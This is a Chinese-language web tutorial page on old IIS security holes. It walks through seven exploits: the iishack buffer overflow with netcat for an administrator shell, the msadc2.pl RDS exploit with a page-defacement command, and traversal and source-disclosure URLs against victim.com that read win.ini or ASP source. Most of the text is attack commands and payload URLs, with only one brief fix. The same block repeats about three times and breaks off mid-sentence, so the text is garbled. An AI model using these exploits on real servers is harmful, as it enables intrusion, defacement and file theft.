IIS的十七個常見安全漏洞_Web服務(wù)器教程
1. iis4hack緩沖溢出
主要存在于.htr,.idc和.stm文件中,其對關(guān)于這些文件的URL請求沒有對名字進行充分的邊界檢查,導(dǎo)致運行攻擊者插入一些后門程序 在系統(tǒng)中下載和執(zhí)行程序。要檢測這樣的站點你需要兩個文件iishack.exe,ncx.exe,你可以到下面 的站點www.technotronic.com去下載,另外你還需要一臺自己的WEB服務(wù)器。你現(xiàn)在你自己的Web服務(wù)器上運行WEB服務(wù)程序并把ncx.exe放到你自己相應(yīng)的目錄下,然后使用iishack.exe來檢查目標機器:
c:>iishack.exe 80 /ncx.exe
然后你就使用netcat來連接你要檢測的服務(wù)器:
c:>nc 80
如果溢出點正確你就可以看到目標機器的命令行提示,并且是管理遠權(quán)限。利用程序見iis4hack.zip
2.msadc
IIS的MDAC組件存在一個漏洞可以導(dǎo)致攻擊者遠程執(zhí)行你系統(tǒng)的命令。主要核心問題是存在于RDS Datafactory,默認情況下, 它允許遠程命令發(fā)送到IIS服務(wù)器中,這命令會以設(shè)備用戶的身份運行,其一般默認情況下是SYSTEM用戶。利用程序為msadc2.pl,我們看看它的help
[quack@chat quack]$ perl msadc2.pl -h
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Usage: msadc.pl -h { -d -X -v }
-h = host you want to scan (ip or domain)
-d = delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
-u <\hostsharefile> = use UNC file
-w = Windows 95 instead of Windows NT
-c = v1 compatibility (three step query)
-s = run only step
Or a -R will resume a (v2) command session
[quack@chat quack]$ perl msadc2.pl -hhttp://www.targe.com/
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c
如果出現(xiàn)cmd /c后,直接鍵入命令行,就可以以system權(quán)限執(zhí)行命令了。比如xundi教的:
echo hacked by me > d:inetpubwwwrootvictimwebindex.htm
3.Codebrws.asp
察看文件源代碼
http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp
4.Showcode.asp
察看文件源代碼
http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini
5.Null.htw
察看文件源代碼
http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full
6.webhits.dll & .htw
hit-highligting功能是由Index Server提供的允許一個WEB用戶在文檔上highlighted(突出)他們原始搜索的條目,這個文檔的名字通過變量CiWebhitsfile傳遞給.htw文件,Webhits.dll是一個ISAPI應(yīng)用程序 來處理請求,打開文件并返回結(jié)果,當(dāng)用戶控制了CiWebhitsfile參數(shù)傳遞給.htw時,他們就可以請求任意文件,結(jié)果就是導(dǎo)致查看ASP源碼和其他腳本文件內(nèi)容。要了解你是否存在這個漏洞,你可以請求如下條目:
http://www.victim.com/nosuchfile.htw 如果你從服務(wù)器端獲得如下信息:
format of the QUERY_STRING is invalid這就表示你存在這個漏洞 .這個問題主要就是webhits.dll關(guān)聯(lián)了.htw文件的映射,所以你只要取消
這個映射就能避免這個漏洞,你可以在你認為有漏洞的系統(tǒng)中搜索.htw文件,一般會發(fā)現(xiàn)如下的程序:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (這個一般為loopback使用)
一個攻擊者可以使用如下的方法來訪問系統(tǒng)中文件的內(nèi)容:
http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
就會在有此漏洞系統(tǒng)中win.ini文件的內(nèi)容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的內(nèi)容,你可以請求如下的URL: http://www.victim.com/default.asp::$DATA你就得到了源代碼
1. iis4hack緩沖溢出
主要存在于.htr,.idc和.stm文件中,其對關(guān)于這些文件的URL請求沒有對名字進行充分的邊界檢查,導(dǎo)致運行攻擊者插入一些后門程序 在系統(tǒng)中下載和執(zhí)行程序。要檢測這樣的站點你需要兩個文件iishack.exe,ncx.exe,你可以到下面 的站點www.technotronic.com去下載,另外你還需要一臺自己的WEB服務(wù)器。你現(xiàn)在你自己的Web服務(wù)器上運行WEB服務(wù)程序并把ncx.exe放到你自己相應(yīng)的目錄下,然后使用iishack.exe來檢查目標機器:
c:>iishack.exe 80 /ncx.exe
然后你就使用netcat來連接你要檢測的服務(wù)器:
c:>nc 80
如果溢出點正確你就可以看到目標機器的命令行提示,并且是管理遠權(quán)限。利用程序見iis4hack.zip
2.msadc
IIS的MDAC組件存在一個漏洞可以導(dǎo)致攻擊者遠程執(zhí)行你系統(tǒng)的命令。主要核心問題是存在于RDS Datafactory,默認情況下, 它允許遠程命令發(fā)送到IIS服務(wù)器中,這命令會以設(shè)備用戶的身份運行,其一般默認情況下是SYSTEM用戶。利用程序為msadc2.pl,我們看看它的help
[quack@chat quack]$ perl msadc2.pl -h
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Usage: msadc.pl -h { -d -X -v }
-h = host you want to scan (ip or domain)
-d = delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
-u <\hostsharefile> = use UNC file
-w = Windows 95 instead of Windows NT
-c = v1 compatibility (three step query)
-s = run only step
Or a -R will resume a (v2) command session
[quack@chat quack]$ perl msadc2.pl -hhttp://www.targe.com/
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c
如果出現(xiàn)cmd /c后,直接鍵入命令行,就可以以system權(quán)限執(zhí)行命令了。比如xundi教的:
echo hacked by me > d:inetpubwwwrootvictimwebindex.htm
3.Codebrws.asp
察看文件源代碼
http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp
4.Showcode.asp
察看文件源代碼
http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini
5.Null.htw
察看文件源代碼
http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full
6.webhits.dll & .htw
hit-highligting功能是由Index Server提供的允許一個WEB用戶在文檔上highlighted(突出)他們原始搜索的條目,這個文檔的名字通過變量CiWebhitsfile傳遞給.htw文件,Webhits.dll是一個ISAPI應(yīng)用程序 來處理請求,打開文件并返回結(jié)果,當(dāng)用戶控制了CiWebhitsfile參數(shù)傳遞給.htw時,他們就可以請求任意文件,結(jié)果就是導(dǎo)致查看ASP源碼和其他腳本文件內(nèi)容。要了解你是否存在這個漏洞,你可以請求如下條目:
http://www.victim.com/nosuchfile.htw 如果你從服務(wù)器端獲得如下信息:
format of the QUERY_STRING is invalid這就表示你存在這個漏洞 .這個問題主要就是webhits.dll關(guān)聯(lián)了.htw文件的映射,所以你只要取消
這個映射就能避免這個漏洞,你可以在你認為有漏洞的系統(tǒng)中搜索.htw文件,一般會發(fā)現(xiàn)如下的程序:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (這個一般為loopback使用)
一個攻擊者可以使用如下的方法來訪問系統(tǒng)中文件的內(nèi)容:
http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
就會在有此漏洞系統(tǒng)中win.ini文件的內(nèi)容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的內(nèi)容,你可以請求如下的URL: http://www.victim.com/default.asp::$DATA你就得到了源代碼
1. iis4hack緩沖溢出
主要存在于.htr,.idc和.stm文件中,其對關(guān)于這些文件的URL請求沒有對名字進行充分的邊界檢查,導(dǎo)致運行攻擊者插入一些后門程序 在系統(tǒng)中下載和執(zhí)行程序。要檢測這樣的站點你需要兩個文件iishack.exe,ncx.exe,你可以到下面 的站點www.technotronic.com去下載,另外你還需要一臺自己的WEB服務(wù)器。你現(xiàn)在你自己的Web服務(wù)器上運行WEB服務(wù)程序并把ncx.exe放到你自己相應(yīng)的目錄下,然后使用iishack.exe來檢查目標機器:
c:>iishack.exe 80 /ncx.exe
然后你就使用netcat來連接你要檢測的服務(wù)器:
c:>nc 80
如果溢出點正確你就可以看到目標機器的命令行提示,并且是管理遠權(quán)限。利用程序見iis4hack.zip
2.msadc
IIS的MDAC組件存在一個漏洞可以導(dǎo)致攻擊者遠程執(zhí)行你系統(tǒng)的命令。主要核心問題是存在于RDS Datafactory,默認情況下, 它允許遠程命令發(fā)送到IIS服務(wù)器中,這命令會以設(shè)備用戶的身份運行,其一般默認情況下是SYSTEM用戶。利用程序為msadc2.pl,我們看看它的help
[quack@chat quack]$ perl msadc2.pl -h
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Usage: msadc.pl -h { -d -X -v }
-h = host you want to scan (ip or domain)
-d = delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
-u <\hostsharefile> = use UNC file
-w = Windows 95 instead of Windows NT
-c = v1 compatibility (three step query)
-s = run only step
Or a -R will resume a (v2) command session
[quack@chat quack]$ perl msadc2.pl -hhttp://www.targe.com/
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c
如果出現(xiàn)cmd /c后,直接鍵入命令行,就可以以system權(quán)限執(zhí)行命令了。比如xundi教的:
echo hacked by me > d:inetpubwwwrootvictimwebindex.htm
3.Codebrws.asp
察看文件源代碼
http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp
4.Showcode.asp
察看文件源代碼
http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini
5.Null.htw
察看文件源代碼
http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full
6.webhits.dll & .htw
hit-highligting功能是由Index Server提供的允許一個WEB用戶在文檔上highlighted(突出)他們原始搜索的條目,這個文檔的名字通過變量CiWebhitsfile傳遞給.htw文件,Webhits.dll是一個ISAPI應(yīng)用程序 來處理請求,打開文件并返回結(jié)果,當(dāng)用戶控制了CiWebhitsfile參數(shù)傳遞給.htw時,他們就可以請求任意文件,結(jié)果就是導(dǎo)致查看ASP源碼和其他腳本文件內(nèi)容。要了解你是否存在這個漏洞,你可以請求如下條目:
http://www.victim.com/nosuchfile.htw 如果你從服務(wù)器端獲得如下信息:
format of the QUERY_STRING is invalid這就表示你存在這個漏洞 .這個問題主要就是webhits.dll關(guān)聯(lián)了.htw文件的映射,所以你只要取消
這個映射就能避免這個漏洞,你可以在你認為有漏洞的系統(tǒng)中搜索.htw文件,一般會發(fā)現(xiàn)如下的程序:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (這個一般為loopback使用)
一個攻擊者可以使用如下的方法來訪問系統(tǒng)中文件的內(nèi)容:
http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
就會在有此漏洞系統(tǒng)中win.ini文件的內(nèi)容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的內(nèi)容
- 推薦!各類建站程序偽靜態(tài)規(guī)則代碼
- 詳細的DedeCMS(織夢)目錄權(quán)限安全設(shè)置教程
- iis安全設(shè)置全方位教程
- 巧妙出招致勝服務(wù)器管理
- Win Server 2003個人網(wǎng)絡(luò)服務(wù)器安全攻略
- Windows 2003校園Web服務(wù)器常見問題
- 清除IIS配置文件后門隱患
- Web服務(wù)器和應(yīng)用程序服務(wù)器有什么區(qū)別
- 虛擬主機下asp.net 2.0的導(dǎo)航控件treeview,menu等出錯
- IIS6.0服務(wù)器架站無法訪問解決方案總結(jié)
- 圖解支持多語言環(huán)境的IIS服務(wù)器配置
- IIS服務(wù)器排錯指南及錯誤代碼大全
- 相關(guān)鏈接:
- 教程說明:
Web服務(wù)器教程-IIS的十七個常見安全漏洞
。